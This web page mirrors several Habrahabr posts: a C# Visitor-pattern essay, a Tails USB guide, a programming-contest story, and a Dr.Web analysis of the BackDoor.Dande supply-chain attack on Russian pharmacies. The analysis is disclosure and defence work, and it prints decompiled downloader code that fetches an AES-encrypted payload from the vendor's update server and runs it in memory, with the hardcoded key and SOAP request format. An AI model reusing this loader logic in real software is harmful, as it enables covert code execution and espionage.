-Поиск по дневнику

Поиск сообщений в rss_rss_hh_new

 -Подписка по e-mail

 

 -Статистика

Статистика LiveInternet.ru: показано количество хитов и посетителей
Создан: 17.03.2011
Записей:
Комментариев:
Написано: 51

Habrahabr/New








Добавить любой RSS - источник (включая журнал LiveJournal) в свою ленту друзей вы можете на странице синдикации.

Исходная информация - http://habrahabr.ru/rss/new/.
Данный дневник сформирован из открытого RSS-источника по адресу http://feeds.feedburner.com/xtmb/hh-new-full, и дополняется в соответствии с дополнением данного источника. Он может не соответствовать содержимому оригинальной страницы. Трансляция создана автоматически по запросу читателей этой RSS ленты.
По всем вопросам о работе данного сервиса обращаться со страницы контактной информации.

[Обновить трансляцию]

Некоторые мысли о паттерне Visitor

Пятница, 30 Июня 2017 г. 18:05 + в цитатник
В последнее время очень мне часто приходится использовать всем известный паттерн «Visitor» (он же Посетитель, далее — визитор). Раньше же я им пренебрегал, считал костылём, лишним усложнением кода. В данной статье я поделюсь своими мыслями о том, что в этом паттерне, на мой взгляд, хорошо, что плохо, какие задачи он помогает решить и как упростить его использование. Код будет на C#. Если интересно – прошу под кат.



Что это такое ?


Для начала немного вспомним, что же это за паттерн такой и для чего его используют. Тем, кто хорошо знаком с ним, могут просмотреть по диагонали. Допустим, у нас есть некоторая библиотека с иерархией геометрических фигур.



Теперь нам нужно научиться научиться вычислять их площади. Как? Да нет проблем. Добавляем метод к IFigure и реализуем. Всё здорово, разве что теперь наша библиотека зависит от библиотеки алгоритмов.

Потом нам понадобилось выводить описание каждой фигуры в консоль. А затем рисовать фигуры. Добавляя соответствующие методы, мы раздуваем нашу библиотеку, попутно жёстко нарушая SRP и OCP.

Что же делать? Конечно, в отдельных библиотеках создать классы, решающие нужные нам задачи. Как они узнают, какую конкретно фигуру им передали? Приведение типов!

public void Draw(IFigure figure)
        {
            if (figure is Rectangle)
            {
                ///////
                return;
            }
            if (figure is Triangle)
            {
                ///////
                return;
            }
            if (figure is Triangle)
            {
                ///////
                return;
            }
        }

Увидели ошибку? А я заметил её только в рантайме. Даункастинг — это всеми признаный дурной тон, путь к нарушению LSP и т. д. и т.п… Есть языки, система типов которых решает нашу задачу «из коробки» (см. мультиметоды), но C# к ним не относится.

Вот тут и приходит на помощь Визитор ака Посетитель. Суть вот в чём: есть класс – визитор, который содержит методы для работы с каждой из конкретных реализаций нашей абстракции. А каждая конкретная реализация содержит метод, который делает одну единственную вещь — передаёт себя соответствующему методу визитора.



Немного запутанно, не так ли? Вообще, один из главных недостатков визитора — то, что в него не все сходу въезжают (сужу по себе). Т.е. его использование несколько повышает порог сложности вашей системы.

Что же получилось? Как видите, вся логика находится вне наших геометрических фигур, а в визиторах. Никакого приведения типов в рантайме — выбор метода для каждой фигуры определяется при компиляции. Проблемы, с которыми мы столкнулись чуть ранее, удалось обойти. Казалось бы, всё замечательно? Конечно же нет. Недостатки имеются, но о них — в самом конце.

Варианты приготовления


Значение какого типа должны возвращать методы Visit и AcceptVisitor? В классическом варианте они void. Как быть в случае расчёта площади? Можно завести в визиторе свойство и присваивать ему значение, а после вызова Visit его читать. Но гораздо удобнее, чтобы метод AcceptVisitor сразу возвращал результат. В нашем случае тип результата – double, но очевидно что это не всегда так. Сделаем визитор и метод AcceptVisitor дженериками.

public interface IFigure
    {
        T AcceptVisitor(IFiguresVisitor visitor);
    }

public interface IFiguresVisitor
    {
        T Visit(Rectangle rectangle);
        T Visit(Triangle triangle);
        T Visit(Circle circle);
    }

Такой интерфейс можно использовать во всех кейсах. Для асинхронных операций типом результата будет Task. Если ничего не нужно возвращать, то возвращаемым типом может быть тип-пустышка, известный в функциональных языках как Unit. В C# он тоже определён в некоторых библиотеках, например, в Reactive Extensions.

Бывают ситуации, когда, в зависимости от типа объекта нам нужно выполнить какое-то тривиальное действие, да всего в одном месте программы. Например, на практике выводить название фигуры вряд ли нам где-то понадобится, кроме как в тестовом примере. Или в каком-нибудь юнит-тесте надо определить, что фигура – окружность либо прямоугольник. Что же, для каждого такого примитивного случая создавать новую сущность – специализированный визитор? Можно поступить по-другому:

public class FiguresVisitor : IFiguresVisitor
    {
        private readonly Func _ifCircle;
        private readonly Func _ifRectangle;
        private readonly Func _ifTriangle;

        public FiguresVisitor(Func ifRectangle, Func ifTrian-gle, Func ifCircle)
        {
            _ifRectangle = ifRectangle;
            _ifTriangle = ifTriangle;
            _ifCircle = ifCircle;
        }

        public T Visit(Rectangle rectangle) => _ifRectangle(rectangle);

        public T Visit(Triangle triangle) => _ifTriangle(triangle);

        public T Visit(Circle circle) => _ifCircle(circle);
    } 

public double CalcArea(IFigure figure)
        {
            var visitor = new FiguresVisitor(
                r => r.Height * r.Width,
                t =>
                {
                    var p = (t.A + t.B + t.C) / 2;
                    return Math.Sqrt(p * (p - t.A) * (p - t.B) * (p - t.C));
                },
                c => Math.PI * c.Radius * c.Radius);

            return figure.AcceptVisitor(visitor);
        }

Как видите, получилось нечто, напоминающее паттерн-матчинг. Не тот, который добавили в C# 7 и который, по сути, лишь припудренный даункастинг, а типизированный и контролируемый компилятором.

А что, если у нас с десяток фигур, и нам нужно лишь для одной или двух выполнить нечто-особенное, а для остальных – какое-то действие «по умолчанию»? Копипастить в конструктор десяток одинаковых выражений – лениво и некрасиво. Как насчёт такого синтаксиса?

string description = figure
                .IfRectangle(r => $"Rectangle with area={r.Height * r.Width}")
                .Else(() => "Not rectangle");

bool isCircle = figure
                .IfCircle(_=>true)
                .Else(() => false);

В последнем примере получился настоящий аналог оператора «is»! Реализация данной фабрики для нашего набора фигур, как все остальные исходники — на гитхабе. Напрашивается вопрос – что же, для каждого случая писать этот бойлерплейт? Да. Или можно, вооружившись T4 и Roslyn, написать кодогенератор. Признаться, к моменту публикации статьи я планировал это сделать, но времени в обрез — не успел.

Недостатки


Конечно, визитор имеет достаточно недостатков и ограничений в применении. Взять хотя бы метод AcceptVisitor у IFifgure. Какое отношение он имеет к геометрии? Да никакого. Так что опять имеем нарушение SRP.

Далее, взглянем на схему ещё раз.



Мы видим замкнутую систему, где все знают обо всех. Каждый тип иерархии знает о визиторе – визитор знает обо всех типах – следовательно, каждый тип транзитивно знает обо всех других! Добавление нового типа ( фигуры в нашем примере ) фактически затрагивает всех. А это – снова прямое нарушение ранее упомянутого Open Close Principle. Если мы имеем возможность менять код, то в этом даже есть существенный плюс – если мы добавим новую фигуру, компилятор заставит нас добавить соответствующий метод в интерфейс визитора и его реализации – мы ничего не забудем. Но как быть, если мы только пользователи библиотеки, а не авторы, и не можем менять иерархию? Никак. Расширить чужую структуру с визитором мы никак не можем. Не зря во всех определениях паттерна пишут, что его применяют при наличии устоявшейся иерархии. Таким образом, если мы проектируем расширяемую библиотеку геометрических фигур, использовать визитор мы никак не можем.

Итого


Паттерн «Visitor» очень удобен, когда мы имеем возможность вносить изменения в его код. Он позволяет уйти от даункастинга, его «нерасширяемость» позволяет компилятору следить, чтобы вы добавили все обработчики для всех свежедобавленных типов.

В случае, если мы пишем библиотеку, которую можно расширять, добавляя новые типы, то визитор использовать не получится. А что тогда? Да всё тот же даункастинг, завёрнутый в паттрн-матчинг в C# 7. Или придумать что-нибудь поинтереснее. Если получится – постараюсь написать и об этом.

И, конечно, буду рад почитать мнения и идеи в камментах.
Спасибо за внимание!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332042/


Метки:  

[Перевод] Невидимая рука Super Metroid

Пятница, 30 Июня 2017 г. 17:07 + в цитатник

Метки:  

Кибератака на аптеки, промышленный шпионаж, инсайд и расследование длиной в 4 года. Казалось бы, при чём тут «Петя»?

Пятница, 30 Июня 2017 г. 17:01 + в цитатник
Обычно мы ничего и никому не рассказываем про расследования. Уж больно это тема тонкая. Но обстоятельства практически вынуждают :) Вчера вы могли прочитать новость простыми словами, а сегодня мы расскажем, как же это всё было устроено технически. Если вы пропустили: речь идёт об апдейте в посте про Trojan. Encoder.12544, известного также как Петя, неПетя и т.п. В двух словах:

Еще в 2012 году вирусные аналитики компании «Доктор Веб» выявили целенаправленную атаку на сеть российских аптек и фармацевтических компаний с использованием вредоносной программы BackDoor.Dande. Этот троянец-шпион похищал информацию о закупках медикаментов из специализированных программ, которые используются в фармацевтической индустрии. В момент запуска бэкдор проверял, установлены ли в системе соответствующие приложения для заказа и учета закупок лекарств, и, если они отсутствовали, прекращал свою работу. Заражению подверглись более 2800 аптек и российских фармацевтических компаний. Таким образом, можно с определенной уверенностью утверждать, что BackDoor.Dande использовался в целях промышленного шпионажа.

Специалисты компании «Доктор Веб» провели расследование, длившееся целых 4 года. Проанализировав жесткие диски, предоставленные одной из пострадавших от BackDoor.Dande фирм, вирусные аналитики установили дату создания драйвера, который запускает все остальные компоненты бэкдора.

Упоминания об этом драйвере обнаружились в файле подкачки Windows и журнале антивируса Avast, который был установлен на зараженной машине. Анализ этих файлов показал, что вредоносный драйвер был создан сразу же после запуска приложения ePrica (D:\ePrica\App\PriceCompareLoader.dll). Это приложение, разработанное компанией «Спарго Технологии», позволяет руководителям аптек проанализировать расценки на медикаменты и выбрать оптимального поставщика. Изучение программы ePrica позволило установить, что она загружает в память библиотеку, которая скрытно скачивает, расшифровывает и запускает в памяти BackDoor.Dande. Троянец загружался с сайта ws.eprica.ru, принадлежащего компании «Спарго Технологии» и предназначенного для обновления программы ePrica. При этом модуль, скрытно загружавший вредоносную программу, имел действительную цифровую подпись «Спарго». Похищенные данные троянец загружал на серверы за пределами России. Иными словами, как и в ситуации с Trojan.Encoder.12544, бэкдор «прятался» в модуле обновления этой программы.

Итак, к делу!

BackDoor.Dande.61

Добавлен в вирусную базу Dr.Web: 2016-12-08
Описание добавлено: 2017-06-30


установщик 64b57c90bcbf71ae4a28f8f742821c123bfb8061
драйвер 1 65384de87e53a9249553b6f38c9b48da3ec4e041
драйвер 2 1a22a6c9cd04b25a108e08aa6e35637154e5aee6
троянец 781262c98f1bdd4e61cd888f71ccc712ff296bf6
PriceCompareLoader.dll b3915aa38551a5b5270b23e372ae1241161ec598
PriceComparePm.dll 014a9166c5516a5193b6b638eeae635170f25829

Троянец-бэкдор, предназначенный для кражи у аптек и фармацевтических компаний информации о закупке медикаментов. Компания «Доктор Веб» исследовала источник заражения этой версией вредоносной программы. В изученном образце драйвер tapec.sys (Dande), который запускает все остальные компоненты троянца, был создан 28 апреля 2016 года:

04/28/16 11:34:59.9062500000;12/11/02 23:14:32.0000000000;06/16/16 12:28:52.5468750000 C:\Windows\System32\drivers\msteeb.sys
04/28/16 11:35:00.2031250000;04/15/08 17:00:00.0000000000;06/16/16 12:28:52.5312500000 C:\Windows\System32\drivers\tapec.sys
04/28/16 11:35:01.0468750000;12/25/08 22:00:20.0000000000;06/16/16 12:28:53.6250000000 C:\Windows\System32\drivers\telephona.cpl


Поиск строки tapec.sys показал его наличие в двух файлах:

pagefile.sys (файл подкачки)
Avast\URL.db (журнал Avast в формате базы данных sqllite3)


База данных содержит две таблицы:

sqlite> .schema
CREATE TABLE Paths (Time INTEGER, Path TEXT COLLATE NOCASE UNIQUE, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE TABLE URLs (Time INTEGER, URL TEXT, ShortHash INTEGER, LongHash BLOB PRIMARY KEY, Flags INTEGER);
CREATE INDEX PathsPathIndex ON Paths (Path COLLATE NOCASE);
CREATE INDEX URLsShortHashIndex ON URLs (ShortHash);


где Paths – список программ, которые запускались на исследуемом компьютере. Повторный поиск в диапазоне одного дня до и после создания вредоносного драйвера выявил два интересных события:

1461832499|D:\ePrica\App\PriceCompareLoader.dll|2038233152|
1461832500|C:\WINDOWS\system32\drivers\tapec.sys|2510498394|


Вредоносный драйвер был создан через секунду после запуска библиотеки D:\ePrica\App\PriceCompareLoader.dll, являющейся частью приложения ePrica.

Исследование ePica

ePrica — это приложение, разработанное компанией «Спарго Технологии», которое позволяет руководителям аптек проанализировать расценки на медикаменты и выбрать оптимального поставщика. Используемая этой программой библиотека PriceCompareLoader.dll имеет три экспортируемые функции:

MemoryLoadLibrary
MemoryGetProcAddress
MemoryFreeLibrary


Все эти функции выполняют запуск библиотек в памяти. PriceCompareLoader.dll вызывается из PriceComparePm.dll. Библиотека обфусцирована при помощи .NET Reactor 4.7. Эта библиотека пытается скачать с сайта полезную нагрузку, расшифровать ее с помощью алгоритма AES и запустить из памяти. Ниже представлен код загрузки и запуска файла:

public static void Download()
{
    try
    {
        if (!UpdateDownloader.bool_0)
        {
            Guid sessionId = Settings.SESSION.SessionId;
            if (!(sessionId == Guid.Empty))
            {
                UpdateService updateService = new UpdateService();
                MyUtils.ConfigureWebServiceProxy(updateService, false);
                int @int = SettingsAllUsers.GetInt("UPDATE_FLAG");
                if (@int >= 0)
                {
                    bool success = false;
                    if (@int > 0)
                    {
                        success = true;
                    }
                    DateTime date = SettingsAllUsers.GetDate("UPDATE_FLAG_MODIFIED");
                    updateService.ResetUpdateFlag(sessionId, success, date);
                    SettingsAllUsers.SetDirect("UPDATE_FLAG", -1);
                }
                else if (updateService.CheckUpdateFlag(sessionId))
                {
                    byte[] array = new byte[UpdateDownloader.qOmraPoxb];
                    int num = 0;
                    while (true)
                    {
                        byte[] array2 = updateService.Load(sessionId, num);
                        try
                        {
                            array2 = AesEncryptor.Decrypt(array2, UpdateDownloader.byte_0, UpdateDownloader.byte_1);
                        }
                        catch
                        {
                            num = 0;
                            break;
                        }
                        int num2 = 0;
                        if (array2 != null)
                        {
                            num2 = array2.Length;
                        }
                        if (num2 == 0 || num + num2 > UpdateDownloader.qOmraPoxb)
                        {
                            break;
                        }
                        Array.Copy(array2, 0, array, num, num2);
                        num += num2;
                    }
                    if (num > 0 && num <= UpdateDownloader.qOmraPoxb)
                    {
                        Array.Resize(ref array, num);
                        UpdateDownloader.bool_0 = true;
                        Thread thread = new Thread(new ParameterizedThreadStart(UpdateDownloader.smethod_0));
                        thread.Start(array);
                    }
                    else
                    {
                        updateService.ResetUpdateFlag(sessionId, false, DateTime.get_Now());
                    }
                }
            }
        }
    }
    catch
    {
    }
}

Ключ и вектор AES:

static UpdateDownloader()
{
    Class3.uNNUGvkzmboS2();
    UpdateDownloader.qOmraPoxb = 2097152;
    UpdateDownloader.byte_0 = new byte[]
    {
        57,
        75,
        140,
        42,
        22,
        100,
        103,
        39,
        168,
        179,
        86,
        81,
        247,
        11,
        224,
        242,
        23,
        154,
        186,
        128,
        130,
        171,
        200,
        170,
        128,
        217,
        247,
        238,
        80,
        200,
        146,
        12
    };
    UpdateDownloader.byte_1 = new byte[]
    {
        88,
        199,
        157,
        130,
        155,
        231,
        168,
        148,
        97,
        45,
        227,
        215,
        3,
        234,
        61,
        172
    };
}

Код проверки обновления:

private static void smethod_0(object object_0)
{
    bool flag = false;
    try
    {
        byte[] array = object_0 as byte[];
        if (array != null)
        {
            SettingsAllUsers.SetDirect("UPDATE_FLAG", -2);
            flag = CheckUpdate.Check(array);
        }
    }
    catch
    {
    }
    finally
    {
        try
        {
            if (flag)
            {
                SettingsAllUsers.SetDirect("UPDATE_FLAG", 1);
            }
            else
            {
                SettingsAllUsers.SetDirect("UPDATE_FLAG", 0);
            }
            SettingsAllUsers.SetDirect("UPDATE_FLAG_MODIFIED", DateTime.get_Now());
        }
        catch
        {
        }
        UpdateDownloader.bool_0 = false;
    }
}

Код запуска из памяти:

public static bool Check(byte[] byte_0)
{
    IntPtr intPtr = IntPtr.Zero;
    IntPtr intPtr2 = IntPtr.Zero;
    try
    {
        if (byte_0 == null)
        {
            bool result = false;
            return result;
        }
        intPtr2 = Marshal.AllocHGlobal(byte_0.Length);
        Marshal.Copy(byte_0, 0, intPtr2, byte_0.Length);
        intPtr = CheckUpdate.Class1.MemoryLoadLibrary(intPtr2);
        if (intPtr == IntPtr.Zero)
        {
            bool result = false;
            return result;
        }
        IntPtr intPtr3 = CheckUpdate.Class1.MemoryGetProcAddress(intPtr, "ModuleFunction");
        if (intPtr3 == IntPtr.Zero)
        {
            bool result = false;
            return result;
        }
        CheckUpdate.Delegate0 @delegate = (CheckUpdate.Delegate0)Marshal.GetDelegateForFunctionPointer(intPtr3, typeof(CheckUpdate.Delegate0));
        @delegate(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
    }
    catch
    {
        bool result = false;
        return result;
    }
    finally
    {
        try
        {
            if (intPtr != IntPtr.Zero)
            {
                CheckUpdate.Class1.MemoryFreeLibrary(intPtr);
            }
        }
        catch
        {
        }
        try
        {
            if (intPtr2 != IntPtr.Zero)
            {
                Marshal.FreeHGlobal(intPtr2);
            }
        }
        catch
        {
        }
    }
    return true;
}

Протокол

Библиотека обменивается информацией с удаленным сервером с использованием протокола SOAP HTTP. Для авторизации осуществляется отправка POST-запроса на сервер ws.eprica.ru/app/InfoService.asmx со следующим заголовком:

'SOAPAction': "http://www.spargo.ru/es/LoginEx"

Данные для авторизации имеют следующую структуру:


    
        
            
                
                    071122-164229
                    00000000-0000-0000-0000-000000000000
                    00000000-0000-0000-0000-000000000000
                    105570
                    Администратор
                    /9P+uFEEaqgoKiKOQOZnOw==
                    4.0.26.30
                    NVQKLJBTV1
                    ED287118-3933-4E97-95A7-9D3C4CF94421
                    4.0.23.17
                
                1230456
            
        
    

В ответ поступает sessionId следующего вида:



    
        
            
                64ad19a5-d8c3-481c-a95e-95ce9a3722ff
                F06BBB44-558B-4C43-A278-1E7B787FE986
                https://pharmadata.ru/content/ContentUploadService.asmx
                0
                300
                false
                false
                2016-12-08T12:41:44.0065516+03:00
            
        
    

Для получения полезной нагрузки направляется запрос к серверу ws.eprica.ru/app/UpdateService.asmx со следующим заголовком:

"SOAPAction": 'http://www.spargo.ru/es/Load'

Передается следующий xml-файл:


    
      
        
          %s
          %d
        
      
    

Параметр offset используется, поскольку файл отдается частями. Ответ сервера имеет следующий вид:




    
        
            fzzvOyrIohvnXggrGy35PtG9BG79/v7MebMKMMu+lN...
            
        
    

Передаваемая в base64 полезная нагрузка зашифрована с использованием алгоритма AES. В ней находится установщик BackDoor.Dande. Сама библиотека имеет действительную цифровую подпись SPARGO Technologies:



В процессе установки BackDoor.Dande удаляет файлы старой версии Dande: isaPnpPrt.sys, RpcSsPrt.sys, BackDoor.Dande.2. Троянец выбирает случайное имя из папки %SYSTEM32%\drivers\ и сохраняет свою копию с таким же именем, но добавляет в конец несколько случайных символов. Файлы для сохранения троянец извлекает из секции .cdata и .bdata, данные хранятся в контейнере BackDoor.Dande.2. В драйвере, имеющем SHA1 65384de87e53a9249553b6f38c9b48da3ec4e041, обновляется имя до зашифрованного контейнера, таким образом удаляется цифровая подпись, которая ранее была действительна. В остальном процедура установки аналогична таковой для BackDoor.Dande.2.

vms.drweb.ru/virus/?i=15448691&lng=ru

Иными словами, как и в ситуации с Trojan.Encoder.12544, бэкдор «прятался» в модуле обновления этой программы.

Сходство этих двух случаев показывает, что инфраструктура разработки программного обеспечения требует повышенного внимания к вопросам информационной безопасности. Прежде всего, процессы обновления любого коммерческого ПО должны находиться под пристальным вниманием как самих разработчиков, так и пользователей. Утилиты обновления различных программ, обладающие в операционной системе правами на установку и запуск исполняемых файлов, могут неожиданно стать источником заражения. В случае с MEDoc к этому привел взлом злоумышленниками и компрометация сервера, с которого загружались обновления, а в ситуации с BackDoor.Dande, как полагают специалисты, к распространению инфекции привели сознательные действия инсайдеров. Посредством такой методики злоумышленники могут провести эффективную целевую атаку против пользователей практически любого программного обеспечения.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332034/


Еще один способ поставить tails на флешку (и вернуть свои гигабайты)

Пятница, 30 Июня 2017 г. 16:20 + в цитатник
Добрый день, читатель!


TAILS — это замечательный live дистрибутив, который можно проверить ноут перед покупкой и через который можно безопасно работать в сети и который не оставляет следом на машинке. Весит сие дело всего 1.3 Gb.

Подготовка


Берем обычную флешку,

Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos

она «пустая»:



Скачиваем образ tails tails-amd64-3.0.iso , сигнатуру tails-amd64-3.0.iso.sig и ключ tails-signing.key (если еще не скачали), который импортируем в keyring gpg2 --import tails-signing.key(если у вас стоит gpg, и нет gpg2, то используйте gpg).

Затем проверяем образ:

gpg2 --keyid-format 0xlong --verify tails-amd64-3.0.iso.sig tails-amd64-3.0.iso

В случае неудачи:

gpg: Signature made Sat 10 Jun 2017 05:37:05 PM CEST
gpg: using RSA key 0x3C83DCB52F699C56
gpg: BAD signature from "Tails developers (offline long-term identity key) <tails@boum.org>" [unknown]


В случае успеха:

gpg: Signature made Sat 10 Jun 2017 05:37:05 PM CEST
gpg: using RSA key 0x3C83DCB52F699C56
gpg: Good signature from "Tails developers (offline long-term identity key) <tails@boum.org>" [unknown]
gpg: aka "Tails developers <tails@boum.org>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: A490 D0F4 D311 A415 3E2B B7CA DBB8 02B2 58AC D84F
Subkey fingerprint: A509 1F72 C746 BA6B 163D 1C18 3C83 DCB5 2F69 9C56


  • sha1: 4e27a1d83cfaa4ee0d94372df453b8024041a51d tails-amd64-3.0.iso
  • sha256: 676f1322166536dc1e27b8db22462ae73f0891888cfcb09033ebc38f586e834a tails-amd64-3.0.iso

«Установка»


Следом, записывает через dd образ на флешку:

dd bs=4M if=tails-amd64-3.0.iso of=/dev/sdb && sync
288+1 records in
288+1 records out
1209116672 bytes (1.2 GB) copied, 83.0623 s, 14.6 MB/s

Начиная с этого момента мы можем вставить данную флешку в комп или ноут и у нас загрузится TAILS \0/

Продолжение


Для тех, кому сие показалось слишком простым, как и слишком недоверчивым, подготовлена эта глава и следующая

Вот так теперь выглядит наша «флешка»:

Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0000002a

Device Boot Start End Sectors Size Id Type
/dev/sdb1 * 0 2361554 2361555 1.1G 17 Hidden HPFS/NTFS


И lsblk -f возвращает:

sdb iso9660 TAILS 3.0 - 20170610 2017-06-10-14-06-10-00
+-sdb1 iso9660 TAILS 3.0 - 20170610 2017-06-10-14-06-10-00


Непорядок!

e2label /dev/sdb "mydiskname"
e2label: Bad magic number in super-block while trying to open /dev/sdb

e2label /dev/sdb1 "mydiskname"
e2label: Bad magic number in super-block while trying to open /dev/sdb1
Couldn't find valid filesystem superblock.

Понимаешь ли, «прощайте 16Гб..» и привет «Я TAILS 3.0 — 20170610 2017-06-10-14-06-10-00!!1».

Продвинутая установка


Лейблы в образе (см sha1 & sha256!) находятся на позициях 32808 & 36904. Даты вылезают на 33581 & 37676. Данные можно откорректировать ручками через bless (hex-editor для debian) или через любой другой редактор или… через dd, для чего заходим в папке с образом и..:

echo -ne \\x53\\x41\\x4E\\x44\\x49\\x53\\x4B\\x20\\x55\\x4C\\x54\\x52\\x41\\x46\\x49\\x54\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20|dd conv=notrunc bs=1 seek=32808 of=tails-amd64-3.0.iso

26+0 records in
26+0 records out
26 bytes (26 B) copied, 6.9594e-05 s, 374 kB/s

echo -ne \\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x00\\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30|dd conv=notrunc bs=1 seek=33581 of=tails-amd64-3.0.iso

33+0 records in
33+0 records out
33 bytes (33 B) copied, 6.7797e-05 s, 487 kB/s

Заменяет лейбл и дату в начале (на финальные SANDISK ULTRAFIT & 1979-01-01-00-00-00-00 соотв.)
echo -ne \\x00\\x53\\x00\\x41\\x00\\x4E\\x00\\x44\\x00\\x49\\x00\\x53\\x00\\x4B\\x00\\x20\\x00\\x55\\x00\\x4C\\x00\\x54\\x00\\x52\\x00\\x41\\x00\\x46\\x00\\x49\\x00\\x54|dd conv=notrunc bs=1 seek=36904 of=tails-amd64-3.0.iso

32+0 records in
32+0 records out
32 bytes (32 B) copied, 6.8662e-05 s, 466 kB/s

echo -ne \\x00\\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x00\\x31\\x39\\x37\\x39\\x30\\x31\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x30|dd conv=notrunc bs=1 seek=37676 of=tails-amd64-3.0.iso

34+0 records in
34+0 records out
34 bytes (34 B) copied, 0.000132513 s, 257 kB/s

лейблы и метки при следующем вхождении.

Следом «болваним» этот образ на нашу флешку:

dd bs=4M if=tails-amd64-3.0.iso of=/dev/sdb && sync
288+1 records in
288+1 records out
1209116672 bytes (1.2 GB) copied, 89.9522 s, 13.4 MB/s

(bs=8M скорости не добавил, больше ставить боюсь, так как зверек греется не по-детски… USB3.0 facepalm Карл!)

fdisk -l /dev/sdb
Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0000002a

Device Boot Start End Sectors Size Id Type
/dev/sdb1 * 0 2361554 2361555 1.1G 17 Hidden HPFS/NTFS

А lsblk -f возвращает:

sdb iso9660 SANDISK ULTRAFIT 1979-01-01-00-00-00-00
+-sdb1 iso9660 SANDISK ULTRAFIT 1979-01-01-00-00-00-00


Возвращаем гигабайты


2361555х512 = 1209116160 байт или 1153Mb. Открываем наш gparted:



Прожимаем ignore и выбираем (в моем случае /dev/sdb):



Создаем раздел, я выбрал ntfs, чтобы тыркат ею в виндузятные компы:



Так как наш образ отъел 1.2 гига от начала влешки, оставляем (красивое число) 1536Мб от начале неиспользованными и отдаем все прочее под наш/ваш раздел.



Снова прожимаем ignore. И voil`a, готово:



Перетыркиваем флешку (для этого ее надо вытыркнуть из USB и втыркнуть обратно):

fdisk -l /dev/sdb выдает
Disk /dev/sdb: 14.3 GiB, 15376000000 bytes, 30031250 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x0000002a

Device Boot Start End Sectors Size Id Type
/dev/sdb1 3145728 30029823 26884096 12.8G 7 HPFS/NTFS/exFAT


lsblk -f выдает

sdb iso9660 SANDISK ULTRAFIT 1979-01-01-00-00-00-00
+-sdb1 ntfs SANDISK ULTRAFIT 733D430C617B2382

Флешка работает:



А tails грузится!



Крокодил ловится, а кокос растет!

Хорошей вам работы, безопасного серфинга, да прибудет с вами сила 0/

З.Ы, конечно тот, кто использует lsblk может обратить внимание на iso9660… пусть другой способ установки будет в другой статье!
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/332032/


Метки:  

[Из песочницы] Не было бы счастья, да спортивное программирование помогло

Пятница, 30 Июня 2017 г. 16:13 + в цитатник
Месяц назад завершился очередной Чемпионат мира по программированию ACM-ICPC (результаты), на котором блестяще выступили команды Санкт-Петербурга и Екатеринбурга. Чуть хуже показали себя команды из Москвы, Перми, Новосибирска, Саратова и Самары. Прекрасный результат у команды из Томска, один лишь выход в финал которой для многих уже стал неожиданностью. Заметьте, что почти все города — миллионники, они располагают крупными вузами и интересными компаниями для работы. А теперь представьте, что вы всё детство живете в городе с населением 50 тыс. человек, затем переезжаете в соседний город с небольшим вузом с сомнительным качеством образования, и впереди маячит перспектива работать на заводе за 20 тыс. рублей в месяц. Эффективные способы сойти с этого мрачного пути есть, и один из них — ACM-ICPC. Я хочу поделиться своей историей, рассказать, как помогает опыт ACM-ICPC в повседневной работе и как эти соревнования стали моей путевкой в жизнь. Если вы студент первого-второго курса и выбираете между скорым заработком и подготовкой к турнирам по программированию, то, я надеюсь, эта статья поможет вам определиться.


Фото icpcnews icpcnews / CC

Сначала расскажу немного о себе. Я учился в самой обычной школе в самом обычном небольшом городке. Ни о каких соревнованиях по программированию я и знать не знал, пока не поступил в университет в соседнем городе. Названия города и вуза значения не имеют, поскольку эта история могла происходить в любой провинции. Мне повезло, что я вовремя присоединился к участникам ACM-ICPC, а в самом вузе об этих соревнованиях знали не понаслышке. Несмотря на то, что регулярно тренировалось не больше одной команды, что среди студентов не было никакой конкуренции, что среди них не было победителей всероссийских школьных олимпиад, команды несколько раз завоевывали медали Чемпионата мира. Вот и мне удалось проделать многолетний путь от деревенщины до финала ACM-ICPC, а после дорасти до тимлида в крупной федеральной компании. У моих сокомандников также жизнь сложилась удачно: один — ведущий программист в той же компании, а другой устроился в Google. Ребята из предшествующих нам команд прекрасно себя чувствуют как в России, так и за границей, работая в общеизвестных компаниях или открывая свои. Повторюсь: никто из них не проявлял какой-либо суперталант в школьном возрасте. Всё, что их объединяет, — огромное количество решенных задач по программированию за студенческие годы. И они являются ярким примером того, что, даже учась в самом обыкновенном вузе в бесперспективном городе, можно выбраться в свет.


Фото icpcnews icpcnews / CC

Итак, что же делать, если вы учитесь в вузе, который не способен вам дать достойное образование? Развивайтесь сами! Вам недостаточно записывать лекции, решать лабораторные и зубрить билеты. Читайте книги, изучайте технологии, углубляйте фундаментальные знания. В конце концов, вы можете заниматься спортом или играть в КВН, всё лучше, чем без толку прожигать свободное время. Один из способов развития — участие в соревнованиях по программированию. Можно участвовать от турнира к турниру, а можно заниматься этим профессионально, до пяти дней в неделю. Далее я буду говорить именно о профессионалах.

